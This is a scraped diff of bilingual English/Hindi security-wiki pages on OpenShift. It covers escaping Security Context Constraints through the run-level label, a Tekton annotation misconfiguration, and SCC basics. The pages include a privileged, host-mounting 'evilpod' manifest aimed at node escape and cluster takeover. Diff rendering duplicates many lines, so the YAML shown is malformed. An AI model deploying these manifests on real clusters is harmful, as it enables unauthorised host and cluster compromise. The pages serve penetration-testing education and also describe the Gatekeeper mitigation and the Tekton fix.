```bash
|
||||
$ oc label ns MYNAMESPACE openshift.io/run-level=0
|
||||
```
|
||||
|
||||
To create a namespace with the label through a YAML file:
|
||||
|
||||
एक YAML फ़ाइल के माध्यम से लेबल के साथ एक नामस्थान बनाने के लिए:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: evil
|
||||
labels:
|
||||
openshift.io/run-level: 0
|
||||
name: evil
|
||||
labels:
|
||||
openshift.io/run-level: 0
|
||||
```
|
||||
|
||||
Now, all new pods created on the namespace should not have any SCC
|
||||
अब, नामस्थान पर बनाए गए सभी नए पॉड्स में कोई SCC नहीं होनी चाहिए
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
|
||||
</strong><strong>$
|
||||
</strong><strong>$
|
||||
</strong></code></pre>
|
||||
|
||||
In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.
|
||||
|
||||
SCC की अनुपस्थिति में, आपके पॉड परिभाषा पर कोई प्रतिबंध नहीं हैं। इसका मतलब है कि एक दुर्भावनापूर्ण पॉड को आसानी से बनाया जा सकता है ताकि वह होस्ट सिस्टम पर भाग सके।
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: evilpod
|
||||
labels:
|
||||
kubernetes.io/hostname: evilpod
|
||||
name: evilpod
|
||||
labels:
|
||||
kubernetes.io/hostname: evilpod
|
||||
spec:
|
||||
hostNetwork: true #Bind pod network to the host network
|
||||
hostPID: true #See host processes
|
||||
hostIPC: true #Access host inter processes
|
||||
containers:
|
||||
- name: evil
|
||||
image: MYIMAGE
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 30m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: hostrootfs
|
||||
mountPath: /mnt
|
||||
volumes:
|
||||
- name: hostrootfs
|
||||
hostPath:
|
||||
path:
|
||||
hostNetwork: true #Bind pod network to the host network
|
||||
hostPID: true #See host processes
|
||||
hostIPC: true #Access host inter processes
|
||||
containers:
|
||||
- name: evil
|
||||
image: MYIMAGE
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 30m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: hostrootfs
|
||||
mountPath: /mnt
|
||||
volumes:
|
||||
- name: hostrootfs
|
||||
hostPath:
|
||||
path:
|
||||
```
|
||||
|
||||
Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for **Node-Post Exploitation** part in the following page :
|
||||
अब, होस्ट सिस्टम तक पहुँचने के लिए विशेषाधिकारों को बढ़ाना और इसके बाद पूरे क्लस्टर पर नियंत्रण प्राप्त करना, 'cluster-admin' विशेषाधिकार प्राप्त करना आसान हो गया है। निम्नलिखित पृष्ठ में **Node-Post Exploitation** भाग देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
|
||||
{{#endref}}
|
||||
|
||||
### Custom labels
|
||||
### कस्टम लेबल
|
||||
|
||||
Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.
|
||||
इसके अलावा, लक्षित सेटअप के आधार पर, कुछ कस्टम लेबल / एनोटेशन का उपयोग पिछले हमले के परिदृश्य के समान किया जा सकता है। भले ही इसे इसके लिए नहीं बनाया गया हो, लेबल का उपयोग अनुमतियाँ देने, किसी विशेष संसाधन को प्रतिबंधित करने या न करने के लिए किया जा सकता है।
|
||||
|
||||
Try to look for custom labels if you can read some resources. Here a list of interesting resources :
|
||||
यदि आप कुछ संसाधनों को पढ़ सकते हैं तो कस्टम लेबल की तलाश करें। यहाँ कुछ दिलचस्प संसाधनों की सूची है:
|
||||
|
||||
- Pod
|
||||
- Deployment
|
||||
- Namespace
|
||||
- Service
|
||||
- Route
|
||||
|
||||
```bash
|
||||
$ oc get pod -o yaml | grep labels -A 5
|
||||
$ oc get namespace -o yaml | grep labels -A 5
|
||||
```
|
||||
|
||||
## List all privileged namespaces
|
||||
|
||||
## सभी विशेषाधिकार प्राप्त नामस्थान सूचीबद्ध करें
|
||||
```bash
|
||||
$ oc get project -o yaml | grep 'run-level' -b5
|
||||
```
|
||||
|
||||
## Advanced exploit
|
||||
|
||||
In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the `openshift.io/run-level`label can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality **cannot be disabled**, as it is inherent to OpenShift's design.
|
||||
OpenShift में, जैसा कि पहले दिखाया गया, `openshift.io/run-level` लेबल के साथ एक नामस्थान में एक पॉड को तैनात करने की अनुमति होने से क्लस्टर का सीधा अधिग्रहण हो सकता है। क्लस्टर सेटिंग्स के दृष्टिकोण से, यह कार्यक्षमता **निष्क्रिय नहीं की जा सकती**, क्योंकि यह OpenShift के डिज़ाइन में अंतर्निहित है।
|
||||
|
||||
However, mitigation measures like **Open Policy Agent GateKeeper** can prevent users from setting this label.
|
||||
हालांकि, **Open Policy Agent GateKeeper** जैसी शमन उपाय उपयोगकर्ताओं को इस लेबल को सेट करने से रोक सकते हैं।
|
||||
|
||||
To bypass GateKeeper's rules and set this label to execute a cluster takeover, **attackers would need to identify alternative methods.**
|
||||
GateKeeper के नियमों को बायपास करने और क्लस्टर अधिग्रहण को निष्पादित करने के लिए इस लेबल को सेट करने के लिए, **हमलावरों को वैकल्पिक तरीकों की पहचान करने की आवश्यकता होगी।**
|
||||
|
||||
## References
|
||||
|
||||
- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
|
||||
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
|
||||
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,52 +1,48 @@
|
||||
# OpenShift - Tekton
|
||||
|
||||
**The original author of this page is** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
|
||||
**इस पृष्ठ के मूल लेखक हैं** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
|
||||
|
||||
### What is tekton
|
||||
### Tekton क्या है
|
||||
|
||||
According to the doc: _Tekton is a powerful and flexible open-source framework for creating CI/CD systems, allowing developers to build, test, and deploy across cloud providers and on-premise systems._ Both Jenkins and Tekton can be used to test, build and deploy applications, however Tekton is Cloud Native. 
|
||||
दस्तावेज़ के अनुसार: _Tekton एक शक्तिशाली और लचीला ओपन-सोर्स ढांचा है जो CI/CD सिस्टम बनाने के लिए है, जिससे डेवलपर्स क्लाउड प्रदाताओं और ऑन-प्रिमाइस सिस्टम पर निर्माण, परीक्षण और तैनाती कर सकते हैं।_ Jenkins और Tekton दोनों का उपयोग एप्लिकेशन का परीक्षण, निर्माण और तैनाती के लिए किया जा सकता है, हालाँकि Tekton क्लाउड नेटिव है। 
|
||||
|
||||
With Tekton everything is represented by YAML files. Developers can create Custom Resources (CR) of type `Pipelines` and specify multiple `Tasks` in them that they want to run. To run a Pipeline resources of type `PipelineRun` must be created.
|
||||
Tekton के साथ सब कुछ YAML फ़ाइलों द्वारा दर्शाया जाता है। डेवलपर्स `Pipelines` प्रकार के कस्टम संसाधन (CR) बना सकते हैं और उनमें कई `Tasks` निर्दिष्ट कर सकते हैं जिन्हें वे चलाना चाहते हैं। एक Pipeline चलाने के लिए `PipelineRun` प्रकार के संसाधन बनाए जाने चाहिए।
|
||||
|
||||
When tekton is installed a service account (sa) called pipeline is created in every namespace. When a Pipeline is ran, a pod will be spawned using this sa called `pipeline` to run the tasks defined in the YAML file.
|
||||
जब tekton स्थापित किया जाता है, तो हर namespace में एक सेवा खाता (sa) बनाया जाता है जिसे pipeline कहा जाता है। जब एक Pipeline चलाई जाती है, तो YAML फ़ाइल में परिभाषित कार्यों को चलाने के लिए इस sa का उपयोग करके एक pod उत्पन्न किया जाएगा जिसे `pipeline` कहा जाता है।
|
||||
|
||||
{{#ref}}
|
||||
https://tekton.dev/docs/getting-started/pipelines/
|
||||
{{#endref}}
|
||||
|
||||
### The Pipeline service account capabilities
|
||||
|
||||
By default, the pipeline service account can use the `pipelines-scc` capability. This is due to the global default configuration of tekton. Actually, the global config of tekton is also a YAML in an openshift object called `TektonConfig` that can be seen if you have some reader roles in the cluster.
|
||||
### Pipeline सेवा खाता क्षमताएँ
|
||||
|
||||
डिफ़ॉल्ट रूप से, pipeline सेवा खाता `pipelines-scc` क्षमता का उपयोग कर सकता है। यह tekton की वैश्विक डिफ़ॉल्ट कॉन्फ़िगरेशन के कारण है। वास्तव में, tekton की वैश्विक कॉन्फ़िगरेशन भी एक YAML है जो एक openshift ऑब्जेक्ट में `TektonConfig` कहा जाता है जिसे आप क्लस्टर में कुछ रीडर भूमिकाएँ होने पर देख सकते हैं।
|
||||
```yaml
|
||||
apiVersion: operator.tekton.dev/v1alpha1
|
||||
kind: TektonConfig
|
||||
metadata:
|
||||
name: config
|
||||
name: config
|
||||
spec:
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "pipelines-scc"
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "pipelines-scc"
|
||||
```
|
||||
किसी भी namespace में, यदि आप pipeline सेवा खाता टोकन प्राप्त कर सकते हैं, तो आप `pipelines-scc` का उपयोग कर सकेंगे।
|
||||
|
||||
In any namespace, if you can get the pipeline service account token you will be able to use `pipelines-scc`.
|
||||
|
||||
### The Misconfig
|
||||
|
||||
The problem is that the default scc that the pipeline sa can use is user controllable. This can be done using a label in the namespace definition. For instance, if I can create a namespace with the following yaml definition:
|
||||
### Misconfig
|
||||
|
||||
समस्या यह है कि डिफ़ॉल्ट scc जिसे pipeline sa उपयोग कर सकता है, वह उपयोगकर्ता द्वारा नियंत्रित किया जा सकता है। यह namespace परिभाषा में एक लेबल का उपयोग करके किया जा सकता है। उदाहरण के लिए, यदि मैं निम्नलिखित yaml परिभाषा के साथ एक namespace बना सकता हूँ:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: test-namespace
|
||||
annotations:
|
||||
operator.tekton.dev/scc: privileged
|
||||
name: test-namespace
|
||||
annotations:
|
||||
operator.tekton.dev/scc: privileged
|
||||
```
|
||||
|
||||
The tekton operator will give to the pipeline service account in `test-namespace` the ability to use the scc privileged. This will allow the mounting of the node.
|
||||
|
||||
### The fix
|
||||
@@ -58,22 +54,18 @@ https://tekton.dev/docs/operator/sccconfig/
|
||||
{{#endref}}
|
||||
|
||||
This label is called `max-allowed` 
|
||||
|
||||
```yaml
|
||||
apiVersion: operator.tekton.dev/v1alpha1
|
||||
kind: TektonConfig
|
||||
metadata:
|
||||
name: config
|
||||
name: config
|
||||
spec:
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "restricted-v2"
|
||||
maxAllowed: "privileged"
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "restricted-v2"
|
||||
maxAllowed: "privileged"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,36 +1,35 @@
|
||||
# Openshift - SCC
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Definition
|
||||
## परिभाषा
|
||||
|
||||
In the context of OpenShift, SCC stands for **Security Context Constraints**. Security Context Constraints are policies that control permissions for pods running on OpenShift clusters. They define the security parameters under which a pod is allowed to run, including what actions it can perform and what resources it can access.
|
||||
OpenShift के संदर्भ में, SCC का अर्थ है **Security Context Constraints**। Security Context Constraints नीतियाँ हैं जो OpenShift क्लस्टरों पर चल रहे पॉड्स के लिए अनुमतियों को नियंत्रित करती हैं। ये उन सुरक्षा मानकों को परिभाषित करती हैं जिनके तहत एक पॉड चलने की अनुमति है, जिसमें यह शामिल है कि यह कौन-से कार्य कर सकता है और यह कौन-से संसाधनों तक पहुँच सकता है।
|
||||
|
||||
SCCs help administrators enforce security policies across the cluster, ensuring that pods are running with appropriate permissions and adhering to organizational security standards. These constraints can specify various aspects of pod security, such as:
|
||||
SCCs प्रशासकों को क्लस्टर में सुरक्षा नीतियों को लागू करने में मदद करती हैं, यह सुनिश्चित करते हुए कि पॉड्स उचित अनुमतियों के साथ चल रहे हैं और संगठनात्मक सुरक्षा मानकों का पालन कर रहे हैं। ये प्रतिबंध पॉड सुरक्षा के विभिन्न पहलुओं को निर्दिष्ट कर सकते हैं, जैसे:
|
||||
|
||||
1. Linux capabilities: Limiting the capabilities available to containers, such as the ability to perform privileged actions.
|
||||
2. SELinux context: Enforcing SELinux contexts for containers, which define how processes interact with resources on the system.
|
||||
3. Read-only root filesystem: Preventing containers from modifying files in certain directories.
|
||||
4. Allowed host directories and volumes: Specifying which host directories and volumes a pod can mount.
|
||||
5. Run as UID/GID: Specifying the user and group IDs under which the container process runs.
|
||||
6. Network policies: Controlling network access for pods, such as restricting egress traffic.
|
||||
1. लिनक्स क्षमताएँ: कंटेनरों के लिए उपलब्ध क्षमताओं को सीमित करना, जैसे विशेषाधिकार प्राप्त कार्य करने की क्षमता।
|
||||
2. SELinux संदर्भ: कंटेनरों के लिए SELinux संदर्भों को लागू करना, जो यह परिभाषित करता है कि प्रक्रियाएँ सिस्टम पर संसाधनों के साथ कैसे इंटरैक्ट करती हैं।
|
||||
3. केवल पढ़ने योग्य रूट फ़ाइल सिस्टम: कुछ निर्देशिकाओं में फ़ाइलों को संशोधित करने से कंटेनरों को रोकना।
|
||||
4. अनुमत होस्ट निर्देशिकाएँ और वॉल्यूम: यह निर्दिष्ट करना कि एक पॉड कौन-से होस्ट निर्देशिकाएँ और वॉल्यूम माउंट कर सकता है।
|
||||
5. UID/GID के रूप में चलाना: यह निर्दिष्ट करना कि कंटेनर प्रक्रिया किस उपयोगकर्ता और समूह आईडी के तहत चलती है।
|
||||
6. नेटवर्क नीतियाँ: पॉड्स के लिए नेटवर्क पहुँच को नियंत्रित करना, जैसे कि निकासी ट्रैफ़िक को प्रतिबंधित करना।
|
||||
|
||||
By configuring SCCs, administrators can ensure that pods are running with the appropriate level of security isolation and access controls, reducing the risk of security vulnerabilities or unauthorized access within the cluster.
|
||||
SCCs को कॉन्फ़िगर करके, प्रशासक यह सुनिश्चित कर सकते हैं कि पॉड्स उचित स्तर की सुरक्षा अलगाव और पहुँच नियंत्रण के साथ चल रहे हैं, जिससे क्लस्टर के भीतर सुरक्षा कमजोरियों या अनधिकृत पहुँच के जोखिम को कम किया जा सके।
|
||||
|
||||
Basically, every time a pod deployment is requested, an admission process is executed as the following:
|
||||
बुनियादी रूप से, हर बार जब एक पॉड तैनाती का अनुरोध किया जाता है, तो एक प्रवेश प्रक्रिया निम्नलिखित के रूप में निष्पादित होती है:
|
||||
|
||||
<figure><img src="../../images/Managing SCCs in OpenShift-1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This additional security layer by default prohibits the creation of privileged pods, mounting of the host file system, or setting any attributes that could lead to privilege escalation.
|
||||
यह अतिरिक्त सुरक्षा परत डिफ़ॉल्ट रूप से विशेषाधिकार प्राप्त पॉड्स के निर्माण, होस्ट फ़ाइल सिस्टम को माउंट करने, या किसी भी विशेषताओं को सेट करने से रोकती है जो विशेषाधिकार वृद्धि का कारण बन सकती हैं।
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
## List SCC
|
||||
|
||||
To list all the SCC with the Openshift Client :
|
||||
## SCC सूची
|
||||
|
||||
OpenShift क्लाइंट के साथ सभी SCC की सूची बनाने के लिए:
|
||||
```bash
|
||||
$ oc get scc #List all the SCCs
|
||||
|
||||
@@ -38,25 +37,20 @@ $ oc auth can-i --list | grep securitycontextconstraints #Which scc user can use
|
||||
|
||||
$ oc describe scc $SCC #Check SCC definitions
|
||||
```
|
||||
सभी उपयोगकर्ताओं को डिफ़ॉल्ट SCC "**restricted**" और "**restricted-v2**" तक पहुँच है, जो सबसे सख्त SCCs हैं।
|
||||
|
||||
All users have access the default SCC "**restricted**" and "**restricted-v2**" which are the strictest SCCs.
|
||||
|
||||
## Use SCC
|
||||
|
||||
The SCC used for a pod is defined inside an annotation :
|
||||
## SCC का उपयोग करें
|
||||
|
||||
किसी पॉड के लिए उपयोग की जाने वाली SCC एक एनोटेशन के अंदर परिभाषित होती है:
|
||||
```bash
|
||||
$ oc get pod MYPOD -o yaml | grep scc
|
||||
openshift.io/scc: privileged
|
||||
openshift.io/scc: privileged
|
||||
```
|
||||
|
||||
When a user has access to multiple SCCs, the system will utilize the one that aligns with the security context values. Otherwise, it will trigger a forbidden error.
|
||||
|
||||
जब एक उपयोगकर्ता के पास कई SCCs तक पहुंच होती है, तो सिस्टम उस SCC का उपयोग करेगा जो सुरक्षा संदर्भ मानों के साथ मेल खाता है। अन्यथा, यह एक निषिद्ध त्रुटि को सक्रिय करेगा।
|
||||
```bash
|
||||
$ oc apply -f evilpod.yaml #Deploy a privileged pod
|
||||
Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain
|
||||
Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain
|
||||
```
|
||||
|
||||
## SCC Bypass
|
||||
|
||||
{{#ref}}
|
||||
@@ -66,7 +60,3 @@ openshift-privilege-escalation/openshift-scc-bypass.md
|
||||
## References
|
||||
|
||||
- [https://www.redhat.com/en/blog/managing-sccs-in-openshift](https://www.redhat.com/en/blog/managing-sccs-in-openshift)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user